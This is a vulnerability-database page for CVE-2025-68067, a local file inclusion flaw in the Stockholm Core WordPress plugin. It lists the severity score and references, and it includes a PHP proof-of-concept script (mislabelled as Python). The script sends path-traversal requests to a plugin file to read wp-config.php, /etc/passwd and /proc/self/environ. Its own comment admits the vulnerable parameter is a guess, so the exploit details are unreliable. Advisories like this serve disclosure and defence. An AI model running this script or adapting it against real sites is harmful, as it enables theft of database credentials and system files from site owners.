CVE-2025-68067

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Select-Themes Stockholm Core stockholm-core allows PHP Local File Inclusion.This issue affects Stockholm Core: from n/a through <= 2.4.6.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Stockholm Core <= 2.4.6 (WordPress Plugin)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-68067 PoC - Stockholm Core Local File Inclusion
 * Affected: Stockholm Core <= 2.4.6
 * Type: PHP Local File Inclusion
 */

$target = 'http://target-site.com';
$endpoint = '/wp-content/plugins/stockholm-core/includes/shortcodes/shortcode-elementor-template.php';

// Target vulnerable parameter (may vary based on actual vulnerable file)
$vuln_param = 'template';

// Files to attempt to read
$target_files = [
    '../../../../wp-config.php',
    '../../../../../../etc/passwd',
    '../../../../../../proc/self/environ'
];

echo "[*] CVE-2025-68067 Local File Inclusion PoC\n";
echo "[*] Target: {$target}\n\n";

foreach ($target_files as $file) {
    echo "[*] Attempting to read: {$file}\n";
    
    $url = $target . $endpoint . '?' . $vuln_param . '=' . urlencode($file);
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && !empty($response)) {
        echo "[+] Success! Content preview:\n";
        echo substr($response, 0, 500) . "\n\n";
    } else {
        echo "[-] Failed (HTTP {$http_code})\n\n";
    }
}

echo "[*] PoC execution completed\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68067
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68067
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68067/
[4] VulDB https://vuldb.com/cve/CVE-2025-68067
[5] https://patchstack.com/database/Wordpress/Plugin/stockholm-core/vulnerability/wordpress-stockholm-core-plugin-2-4-6-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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